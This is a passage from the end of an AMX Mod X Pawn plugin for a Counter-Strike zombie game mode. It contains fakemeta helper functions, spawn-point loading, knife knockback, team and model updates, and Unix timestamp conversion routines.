}

stock fm_set_kvd(entity, const key[], const value[], const classname[] = "") {
	if (classname[0])
		set_kvd(0, KV_ClassName, classname)
	else {
		new class[32]
		pev(entity, pev_classname, class, sizeof class - 1)
		set_kvd(0, KV_ClassName, class)
	}

	set_kvd(0, KV_KeyName, key)
	set_kvd(0, KV_Value, value)
	set_kvd(0, KV_fHandled, 0)

	return dllfunc(DLLFunc_KeyValue, entity, 0)
}

stock fm_remove_entity(index) {
	return engfunc(EngFunc_RemoveEntity, index)
}

stock fm_create_entity(const classname[]) {
	return engfunc(EngFunc_CreateNamedEntity, engfunc(EngFunc_AllocString, classname))
}
stock fm_get_user_godmode(index) {
	new Float:val;
	pev(index, pev_takedamage, val);

	return (val == DAMAGE_NO);
}

stock fm_set_rendering(entity, fx = kRenderFxNone, r = 255, g = 255, b = 255, render = kRenderNormal, amount = 16) {
	static Float:color[3]
	color[0] = float(r)
	color[1] = float(g)
	color[2] = float(b)
	
	set_pev(entity, pev_renderfx, fx)
	set_pev(entity, pev_rendercolor, color)
	set_pev(entity, pev_rendermode, render)
	set_pev(entity, pev_renderamt, float(amount))
}

stock fm_get_speed(entity) {
	static Float:velocity[3]
	pev(entity, pev_velocity, velocity)
	
	return floatround(vector_length(velocity));
}

stock fm_get_aim_origin(id, Float:origin[3]) {
	static Float:origin1F[3], Float:origin2F[3]
	pev(id, pev_origin, origin1F)
	pev(id, pev_view_ofs, origin2F)
	xs_vec_add(origin1F, origin2F, origin1F)

	pev(id, pev_v_angle, origin2F);
	engfunc(EngFunc_MakeVectors, origin2F)
	global_get(glb_v_forward, origin2F)
	xs_vec_mul_scalar(origin2F, 9999.0, origin2F)
	xs_vec_add(origin1F, origin2F, origin2F)

	engfunc(EngFunc_TraceLine, origin1F, origin2F, 0, id, 0)
	get_tr2(0, TR_vecEndPos, origin)
}

stock fm_find_ent_by_owner(entity, const classname[], owner) {
	while ((entity = engfunc(EngFunc_FindEntityByString, entity, "classname", classname)) && pev(entity, pev_owner) != owner) { /* keep looping */ }
	return entity;
}

stock fm_set_user_health(id, health) {
	(health > 0) ? set_pev(id, pev_health, float(health)) : dllfunc(DLLFunc_ClientKill, id);
}

stock fm_give_item(id, const item[]) {
	static ent
	ent = engfunc(EngFunc_CreateNamedEntity, engfunc(EngFunc_AllocString, item))
	if (!pev_valid(ent)) return;
	
	static Float:originF[3]
	pev(id, pev_origin, originF)
	set_pev(ent, pev_origin, originF)
	set_pev(ent, pev_spawnflags, pev(ent, pev_spawnflags) | SF_NORESPAWN)
	dllfunc(DLLFunc_Spawn, ent)
	
	static save
	save = pev(ent, pev_solid)
	dllfunc(DLLFunc_Touch, ent, id)
	if (pev(ent, pev_solid) != save)
		return;
	
	engfunc(EngFunc_RemoveEntity, ent)
}

stock fm_strip_user_weapons(id) {
	static ent
	ent = engfunc(EngFunc_CreateNamedEntity, engfunc(EngFunc_AllocString, "player_weaponstrip"))
	if (!pev_valid(ent)) return;
	
	dllfunc(DLLFunc_Spawn, ent)
	dllfunc(DLLFunc_Use, ent, id)
	engfunc(EngFunc_RemoveEntity, ent)
}

stock load_spawns() {
	// Check for CSDM spawns of the current map
	new cfgdir[32], mapname[32], filepath[100], linedata[64]
	get_configsdir(cfgdir, charsmax(cfgdir))
	get_mapname(mapname, charsmax(mapname))
	formatex(filepath, charsmax(filepath), "%s/csdm/%s.spawns.cfg", cfgdir, mapname)
	
	// Load CSDM spawns if present
	if (file_exists(filepath))
	{
		new csdmdata[10][6], file = fopen(filepath,"rt")
		
		while (file && !feof(file))
		{
			fgets(file, linedata, charsmax(linedata))
			
			// invalid spawn
			if(!linedata[0] || str_count(linedata,' ') < 2) continue;
			
			// get spawn point data
			parse(linedata,csdmdata[0],5,csdmdata[1],5,csdmdata[2],5,csdmdata[3],5,csdmdata[4],5,csdmdata[5],5,csdmdata[6],5,csdmdata[7],5,csdmdata[8],5,csdmdata[9],5)
			
			// origin
			g_spawns[g_spawnCount][0] = floatstr(csdmdata[0])
			g_spawns[g_spawnCount][1] = floatstr(csdmdata[1])
			g_spawns[g_spawnCount][2] = floatstr(csdmdata[2])
			
			// increase spawn count
			g_spawnCount++
			if (g_spawnCount >= sizeof g_spawns) break;
		}
		if (file) fclose(file)
	}
	else
	{
		// Collect regular spawns
		collect_spawns_ent("info_player_start")
		collect_spawns_ent("info_player_deathmatch")
	}
	
	// Collect regular spawns for non-random spawning unstuck
	collect_spawns_ent2("info_player_start")
	collect_spawns_ent2("info_player_deathmatch")
}

stock collect_spawns_ent(const classname[]) {
	new ent = -1
	while ((ent = engfunc(EngFunc_FindEntityByString, ent, "classname", classname)) != 0)
	{
		// get origin
		new Float:originF[3]
		pev(ent, pev_origin, originF)
		g_spawns[g_spawnCount][0] = originF[0]
		g_spawns[g_spawnCount][1] = originF[1]
		g_spawns[g_spawnCount][2] = originF[2]
		
		// increase spawn count
		g_spawnCount++
		if (g_spawnCount >= sizeof g_spawns) break;
	}
}

stock collect_spawns_ent2(const classname[]) {
	new ent = -1
	while ((ent = engfunc(EngFunc_FindEntityByString, ent, "classname", classname)) != 0)
	{
		// get origin
		new Float:originF[3]
		pev(ent, pev_origin, originF)
		g_spawns2[g_spawnCount2][0] = originF[0]
		g_spawns2[g_spawnCount2][1] = originF[1]
		g_spawns2[g_spawnCount2][2] = originF[2]
		
		// increase spawn count
		g_spawnCount2++
		if (g_spawnCount2 >= sizeof g_spawns2) break;
	}
}
public CPlayer__TakeDamage_Post(victim, inflictor, attacker, Float:damage)
{
	if (inflictor != attacker || victim == attacker) return
	if (!is_user_connected(attacker)) return
	if (g_zombie[attacker]) return
	if (get_user_weapon(attacker) != CSW_KNIFE) return
	
	client_print(attacker, print_center, "%d", floatround(damage, floatround_floor))
	
	new Float:velocity[3], Float:newvelocity[3]
	entity_get_vector(victim, EV_VEC_velocity, velocity)
	
	new Float:victim_origin[3], Float:attacker_origin[3]
	entity_get_vector(victim, EV_VEC_origin, victim_origin)
	entity_get_vector(attacker, EV_VEC_origin, attacker_origin)
	
	newvelocity[0] = victim_origin[0] - attacker_origin[0]
	newvelocity[1] = victim_origin[1] - attacker_origin[1]
	
	new Float:largestnum = 0.0
	
	if (0 <= floatcmp(floatabs(newvelocity[0]), floatabs(newvelocity[1])) <= 1)
	{
		if (floatabs(newvelocity[0]) > 0) largestnum = floatabs(newvelocity[0])
	}
	else
	{
		if (floatabs(newvelocity[1]) > 0) largestnum = floatabs(newvelocity[1])
	}
	
	newvelocity[0] /= largestnum
	newvelocity[1] /= largestnum
	
	if(g_is_saw[attacker])
	{
	velocity[0] = newvelocity[0] * g_knife_knockback[5] * 3000 / get_distance_f(victim_origin, attacker_origin)
	velocity[1] = newvelocity[1] * g_knife_knockback[5] * 3000 / get_distance_f(victim_origin, attacker_origin)
	}
	else if(g_survivor[attacker])
	{
	velocity[0] = newvelocity[0] * g_knife_knockback[4] * 3000 / get_distance_f(victim_origin, attacker_origin)
	velocity[1] = newvelocity[1] * g_knife_knockback[4] * 3000 / get_distance_f(victim_origin, attacker_origin)
	}
	else
	{
	velocity[0] = newvelocity[0] * g_knife_knockback[g_user_knife[attacker]] * 3000 / get_distance_f(victim_origin, attacker_origin)
	velocity[1] = newvelocity[1] * g_knife_knockback[g_user_knife[attacker]] * 3000 / get_distance_f(victim_origin, attacker_origin)
	}
	
	if(newvelocity[0] <= 20.0 || newvelocity[1] <= 20.0)
		newvelocity[2] = random_float(200.0 , 275.0)
	
	newvelocity[0] += velocity[0]
	newvelocity[1] += velocity[1]
	entity_set_vector(victim, EV_VEC_velocity, newvelocity)
}
stock drop_weapons(id, dropwhat) {
	// Get user weapons
	static weapons[32], num, i, weaponid
	num = 0 // reset passed weapons count (bugfix)
	get_user_weapons(id, weapons, num)
	
	// Loop through them and drop primaries or secondaries
	for (i = 0; i < num; i++)
	{
		// Prevent re-indexing the array
		weaponid = weapons[i]
		
		if ((dropwhat == 1 && ((1<<weaponid) & PRIMARY_WEAPONS_BIT_SUM)) || (dropwhat == 2 && ((1<<weaponid) & SECONDARY_WEAPONS_BIT_SUM)))
		{
			// Get weapon entity
			static wname[32], weapon_ent
			get_weaponname(weaponid, wname, charsmax(wname))
			weapon_ent = fm_find_ent_by_owner(-1, wname, id)
			
			// Hack: store weapon bpammo on PEV_ADDITIONAL_AMMO
			set_pev(weapon_ent, PEV_ADDITIONAL_AMMO, cs_get_user_bpammo(id, weaponid))
			
			// Player drops the weapon and looses his bpammo
			engclient_cmd(id, "drop", wname)
			cs_set_user_bpammo(id, weaponid, 0)
		}
	}
}

stock str_count(const str[], searchchar) {
	new count, i, len = strlen(str)
	
	for (i = 0; i <= len; i++)
	{
		if(str[i] == searchchar)
			count++
	}
	
	return count;
}

stock is_hull_vacant(Float:origin[3], hull) {
	engfunc(EngFunc_TraceHull, origin, origin, 0, hull, 0, 0)
	
	if (!get_tr2(0, TR_StartSolid) && !get_tr2(0, TR_AllSolid) && get_tr2(0, TR_InOpen))
		return true;
	
	return false;
}

stock is_player_stuck(id) {
	static Float:originF[3]
	pev(id, pev_origin, originF)
	
	engfunc(EngFunc_TraceHull, originF, originF, 0, (pev(id, pev_flags) & FL_DUCKING) ? HULL_HEAD : HULL_HUMAN, id, 0)
	
	if (get_tr2(0, TR_StartSolid) || get_tr2(0, TR_AllSolid) || !get_tr2(0, TR_InOpen))
		return true;
	
	return false;
}

stock cs_weapon_name_to_id(const weapon[]) {
	static i
	for (i = 0; i < sizeof WEAPONENTNAMES; i++)
	{
		if (equal(weapon, WEAPONENTNAMES[i]))
			return i;
	}
	
	return 0;
}

// Get User Current Weapon Entity
stock fm_cs_get_current_weapon_ent(id)
{
	// Prevent server crash if entity's private data not initalized
	if (pev_valid(id) != PDATA_SAFE)
		return -1;
	
	return get_pdata_cbase(id, OFFSET_ACTIVE_ITEM, OFFSET_LINUX);
}

// Get Weapon Entity's Owner
stock fm_cs_get_weapon_ent_owner(ent)
{
	// Prevent server crash if entity's private data not initalized
	if (pev_valid(ent) != PDATA_SAFE)
		return -1;
	
	return get_pdata_cbase(ent, OFFSET_WEAPONOWNER, OFFSET_LINUX_WEAPONS);
}

// Set User Deaths
stock fm_cs_set_user_deaths(id, value)
{
	// Prevent server crash if entity's private data not initalized
	if (pev_valid(id) != PDATA_SAFE)
		return;
	
	set_pdata_int(id, OFFSET_CSDEATHS, value, OFFSET_LINUX)
}

// Get User Team
stock fm_cs_get_user_team(id)
{
	// Prevent server crash if entity's private data not initalized
	if (pev_valid(id) != PDATA_SAFE)
		return FM_CS_TEAM_UNASSIGNED;
	
	return get_pdata_int(id, OFFSET_CSTEAMS, OFFSET_LINUX);
}

// Set a Player's Team
stock fm_cs_set_user_team(id, team)
{
	// Prevent server crash if entity's private data not initalized
	if (pev_valid(id) != PDATA_SAFE)
		return;
	
	set_pdata_int(id, OFFSET_CSTEAMS, team, OFFSET_LINUX)
}

// Set User Money
stock fm_cs_set_user_money(id, value)
{
	// Prevent server crash if entity's private data not initalized
	if (pev_valid(id) != PDATA_SAFE)
		return;
	
	set_pdata_int(id, OFFSET_CSMONEY, value, OFFSET_LINUX)
}

// Set User Flashlight Batteries
stock fm_cs_set_user_batteries(id, value)
{
	// Prevent server crash if entity's private data not initalized
	if (pev_valid(id) != PDATA_SAFE)
		return;
	
	set_pdata_int(id, OFFSET_FLASHLIGHT_BATTERY, value, OFFSET_LINUX)
}

stock fm_user_team_update(id) {
	static Float:current_time
	current_time = get_gametime()
	
	if (current_time - g_teams_targettime >= 0.1)
	{
		set_task(0.1, "fm_cs_set_user_team_msg", id+TASK_TEAM)
		g_teams_targettime = current_time + 0.1
	}
	else
	{
		set_task((g_teams_targettime + 0.1) - current_time, "fm_cs_set_user_team_msg", id+TASK_TEAM)
		g_teams_targettime = g_teams_targettime + 0.1
	}
}

public fm_cs_set_user_team_msg(taskid) {
	// Note to self: this next message can now be received by other plugins
	
	// Set the switching team flag
	g_switchingteam = true
	
	// Tell everyone my new team
	emessage_begin(MSG_ALL, g_msgTeamInfo)
	ewrite_byte(ID_TEAM) // player
	ewrite_string(CS_TEAM_NAMES[fm_cs_get_user_team(ID_TEAM)]) // team
	emessage_end()
	
	// Done switching team
	g_switchingteam = false
}

stock fm_cs_set_user_model_index(id, value)
{
	// Prevent server crash if entity's private data not initalized
	if (pev_valid(id) != PDATA_SAFE)
		return;
	
	set_pdata_int(id, OFFSET_MODELINDEX, value, OFFSET_LINUX)
}

stock fm_set_playermodel_ent(id) {
	// Make original player entity invisible without hiding shadows or firing effects
	fm_set_rendering(id, kRenderFxNone, 255, 255, 255, kRenderTransTexture, 1)
	
	// Format model string
	static model[100]
	formatex(model, charsmax(model), "models/player/%s/%s.mdl", g_playermodel[id], g_playermodel[id])
	
	// Set model on entity or make a new one if unexistant
	if (!pev_valid(g_ent_playermodel[id]))
	{
		g_ent_playermodel[id] = engfunc(EngFunc_CreateNamedEntity, engfunc(EngFunc_AllocString, "info_target"))
		if (!pev_valid(g_ent_playermodel[id])) return;
		
		set_pev(g_ent_playermodel[id], pev_classname, MODEL_ENT_CLASSNAME)
		set_pev(g_ent_playermodel[id], pev_movetype, MOVETYPE_FOLLOW)
		set_pev(g_ent_playermodel[id], pev_aiment, id)
		set_pev(g_ent_playermodel[id], pev_owner, id)
		set_pev(id, pev_body, 8)
	}
	
	engfunc(EngFunc_SetModel, g_ent_playermodel[id], model)
}

stock fm_set_weaponmodel_ent(id) {
	// Get player's p_ weapon model
	static model[100]
	pev(id, pev_weaponmodel2, model, charsmax(model))
	
	// Set model on entity or make a new one if unexistant
	if (!pev_valid(g_ent_weaponmodel[id]))
	{
		g_ent_weaponmodel[id] = engfunc(EngFunc_CreateNamedEntity, engfunc(EngFunc_AllocString, "info_target"))
		if (!pev_valid(g_ent_weaponmodel[id])) return;
		
		set_pev(g_ent_weaponmodel[id], pev_classname, WEAPON_ENT_CLASSNAME)
		set_pev(g_ent_weaponmodel[id], pev_movetype, MOVETYPE_FOLLOW)
		set_pev(g_ent_weaponmodel[id], pev_aiment, id)
		set_pev(g_ent_weaponmodel[id], pev_owner, id)
	}
	
	engfunc(EngFunc_SetModel, g_ent_weaponmodel[id], model)
}

stock fm_remove_model_ents(id) {
	// Remove "playermodel" ent if present
	if (pev_valid(g_ent_playermodel[id]))
	{
		engfunc(EngFunc_RemoveEntity, g_ent_playermodel[id])
		g_ent_playermodel[id] = 0
	}
	// Remove "weaponmodel" ent if present
	if (pev_valid(g_ent_weaponmodel[id]))
	{
		engfunc(EngFunc_RemoveEntity, g_ent_weaponmodel[id])
		g_ent_weaponmodel[id] = 0
	}
}

public fm_cs_set_user_model(taskid) {
	set_user_info(ID_MODEL, "model", g_playermodel[ID_MODEL])
}

stock fm_cs_get_user_model(player, model[], len) {
	get_user_info(player, "model", model, len)
}

public fm_user_model_update(taskid) {
	static Float:current_time
	current_time = get_gametime()
	
	if (current_time - g_models_targettime >= g_modelchange_delay)
	{
		fm_cs_set_user_model(taskid)
		g_models_targettime = current_time
	}
	else
	{
		set_task((g_models_targettime + g_modelchange_delay) - current_time, "fm_cs_set_user_model", taskid)
		g_models_targettime = g_models_targettime + g_modelchange_delay
	}
}

public UpdateHP( id )
{
	if( g_is_saw[ id ] )
	{
		if( g_iPlayerHealth[ id ] == 0 )
			return;
			
		set_user_health(id, g_iPlayerHealth[ id ] );
		g_iPlayerHealth[ id ] = 0;
	}	
}

stock const YearSeconds[2] = 
{ 
	31536000,	//Normal year
	31622400 	//Leap year
};

stock const MonthSeconds[12] = 
{ 
	2678400, //January	31 
	2419200, //February	28
	2678400, //March	31
	2592000, //April	30
	2678400, //May		31
	2592000, //June		30
	2678400, //July		31
	2678400, //August	31
	2592000, //September	30
	2678400, //October	31
	2592000, //November	30
	2678400  //December	31
};

stock const DaySeconds = 86400;
stock const HourSeconds = 3600;
stock const MinuteSeconds = 60;

stock UnixToTime(iTimeStamp , &iYear , &iMonth , &iDay , &iHour , &iMinute , &iSecond)
{
	new iTemp;
	
	iYear = 1970;
	iMonth = 1;
	iDay = 1;
	iHour = 0;

	while (iTimeStamp > 0)
	{
		iTemp = IsLeapYear(iYear);

		if ((iTimeStamp - YearSeconds[iTemp]) >= 0)
		{
			iTimeStamp -= YearSeconds[iTemp];
			iYear++;
		}
		else
		{
			break;
		}
	}

	while (iTimeStamp > 0)
	{
		iTemp = SecondsInMonth(iYear , iMonth);

		if ((iTimeStamp - iTemp) >= 0) 
		{
			iTimeStamp -= iTemp;
			iMonth++;
		}
		else
		{
			break;
		}
	}

	while (iTimeStamp > 0)
	{
		if ((iTimeStamp - DaySeconds) >= 0)
		{
			iTimeStamp -= DaySeconds;
			iDay++;
		}
		else
		{
			break;
		}
	}
	
	while (iTimeStamp > 0)
	{
		if ((iTimeStamp - HourSeconds) >= 0)
		{
			iTimeStamp -= HourSeconds;
			iHour++;
		}
		else
		{
			break;
		}
	}
	
	iMinute = (iTimeStamp / 60);
	iSecond = (iTimeStamp % 60);
}

stock TimeToUnix(const iYear , const iMonth , const iDay , const iHour , const iMinute , const iSecond)
{
	new i;
	new iTimeStamp;

	for (i = 1970 ; i < iYear ; i++)
		iTimeStamp += YearSeconds[IsLeapYear(i)];

	for (i = 1 ; i < iMonth ; i++)
		iTimeStamp += SecondsInMonth(iYear , i);

	iTimeStamp += ((iDay - 1) * DaySeconds);
	iTimeStamp += (iHour * HourSeconds);
	iTimeStamp += (iMinute * MinuteSeconds);
	iTimeStamp += iSecond;

	return iTimeStamp;
}

stock SecondsInMonth(const iYear , const iMonth) 
{
	return ((IsLeapYear(iYear) && (iMonth == 2)) ? (MonthSeconds[iMonth - 1] + DaySeconds) : MonthSeconds[iMonth - 1]);
}

stock IsLeapYear(const iYear) 
{
	return (((iYear % 4) == 0) && (((iYear % 100) != 0) || ((iYear % 400) == 0)));
}


/* AMXX-Studio Notes - DO NOT MODIFY BELOW HERE
*{\\ rtf1\\ ansi\\ deff0{\\ fonttbl{\\ f0\\ fnil Tahoma;}}\n\\ viewkind4\\ uc1\\ pard\\ lang1049\\ f0\\ fs16 \n\\ par }
*/
